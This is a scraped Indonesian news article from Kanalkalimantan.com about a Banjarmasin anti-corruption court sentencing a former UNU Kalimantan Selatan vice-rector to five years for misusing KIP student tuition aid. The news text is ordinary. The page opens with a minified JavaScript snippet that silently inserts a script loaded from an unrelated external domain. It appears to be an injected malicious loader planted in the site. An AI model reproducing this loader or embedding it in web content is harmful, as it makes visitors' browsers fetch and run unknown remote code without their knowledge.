(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Majelis Hakim Pengadilan Tindak Pidana Korupsi (Tipikor) Banjarmasin memvonis mantan Wakil Rektor 1 bidang akademik dan penelitian Universitas Nahdlatul Ulama (UNU) Kalimantan Selatan (Kalsel) Rif’atul Hidayat pidana 5 tahun penjara dan denda Rp 200 juta subsider 2 bulan.
Rif’atul Hidayat juga diwajibkan membayar ganti rugi sebesar Rp 1,9 miliar atau jika tidak dapat membayar diganti dengan pidana 2 tahun 6 bulan penjara.
Vonis tersebut dibacakan oleh ketua majelis hakim Jamser Simanjuntak bersama dua anggota di Pengadilan Tindak Pidana Korupsi (Tipikor) Banjarmasin, Rabu (14/6/2023) pukul 18.30 Wita.
Dalam pertimbangan majelis hakim berpendapat terdakwa Rif’atul Hidayat terbukti berdasarkan dakwaan melakukan korupsi bantuan biaya kuliah Kartu Indonesia Pintar (KIP) mahasiswa UNU Kalsel pada 2020-2021 senilai Rp 2,7 miliar.
Sehingga dari pertimbangan di atas perbuatan tindak pidana korupsi sebagaimana dakwaan primer Pasal 2 ayat (1) Undang-Undang pemberantasan Tipikor menurut majelis telah terpenuhi.
“Unsur melawan hukum, unsur memperkaya diri sendiri, dan unsur merugikan keuangan perekonomian negara telah terpenuhi,” kata majelis hakim.
Kemudian untuk hal yang memberatkan terdakwa disebutkan tidak mendukung program pemerintah dalam pemberantasan Tipikor, kemudian menciderai citra lembaga pendidikan.
“Hal yang meringankan terdakwa tidak pernah dihukum, berlaku sopan di persidangan, dan menyesal,” kata Jamser.
Putusan 5 tahun penjara tersebut lebih ringan dari tuntutan JPU, sama halnya untuk putusan ganti rugi lebih dibawah dari tuntutan JPU.
Baca juga: Sidang Korupsi Cuci Uang Mantan Bupati HST, Pembelian Dua Moge HD Diungkap
Sebelumnya terdakwa dituntut oleh JPU dari Kejari Banjar dengan pidana 7 tahun dan enam bulan penjara denda Rp 300 juta subsider 3 bulan penjara.
JPU juga menuntut terdakwa membayar ganti rugi negara sebesar Rp 2,7 miliar atau diganti dengan pidana 3 tahun dan 9 bulan penjara.
Sebelumnya pada saat penyidikan terdakwa tidak dilakukan penahanan, baru sejak 12 Januari 2023 hingga sekarang dilakukan penahanan saat proses persidangan.
Usai pembacaan putusan, terdakwa melalui penasehat hukumnya mengatakan akan mempertimbangkan terlebih dahulu sebelum memutuskan akan mengajukan banding atau menerima putusan.
Hal yang sama juga diungkapkan JPU dari Kejari Banjar yang memilih pikir-pikir selama waktu 7 hari yang diberikan majelis hakim Pengadilan Tipikor Banjarmasin.(Kanalkalimantan.com/rizki)
Reporter: rizki
Editor: bie
KANALKALIMANTAN.COM, AMUNTAI - Pelaksaanan program TNI Manunggal Membangun Desa (TMMD) ke-120 Kodim 1001/HSU-BLG di Desa… Read More
KANALKALIMANTAN.COM, BANJARBARU - Hj Raudatul Jannah atau Acil Odah siap ramaikan kontestasi Pemilihan Kepala Daerah… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara melaksanakan Musyawarah Perencanaan Pembangunan (Musrenbang) Rencana Pembangunan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Rapat Paripurna beragendakan Jawaban Bupati atas Pemandangan Umum Fraksi-fraksi DPRD terhadap Rancangan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kesiapsiagaan Bencana dan antisipasi bencana di Kalimantan Selatan, Badan Penanggulangan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Mantan Wakil Gubernur Kalimantan Tengah Habib Ismail bin Yahya secara resmi… Read More
This website uses cookies.